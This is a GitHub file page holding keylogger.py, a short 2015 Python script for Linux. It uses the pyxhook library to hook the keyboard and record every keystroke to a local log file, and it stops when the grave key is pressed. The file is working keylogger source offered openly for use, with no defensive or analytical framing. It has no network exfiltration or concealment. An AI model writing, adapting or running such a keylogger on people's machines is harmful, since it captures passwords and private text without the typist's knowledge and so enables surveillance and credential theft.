-
Notifications
You must be signed in to change notification settings - Fork 36
Expand file tree
/
Copy pathkeylogger.py
More file actions
34 lines (27 loc) · 781 Bytes
/
keylogger.py
File metadata and controls
34 lines (27 loc) · 781 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
"""
Copyright (c) 2015, Aman Deep
All rights reserved.
A simple keylogger witten in python for linux platform
All keystrokes are recorded in a log file.
The program terminates when grave key(`) is pressed
grave key is found below Esc key
"""
import pyxhook
#change this to your log file's path
log_file='/home/aman/Desktop/file.log'
#this function is called everytime a key is pressed.
def OnKeyPress(event):
fob=open(log_file,'a')
fob.write(event.Key)
fob.write('\n')
if event.Ascii==96: #96 is the ascii value of the grave key (`)
fob.close()
new_hook.cancel()
#instantiate HookManager class
new_hook=pyxhook.HookManager()
#listen to all keystrokes
new_hook.KeyDown=OnKeyPress
#hook the keyboard
new_hook.HookKeyboard()
#start the session
new_hook.start()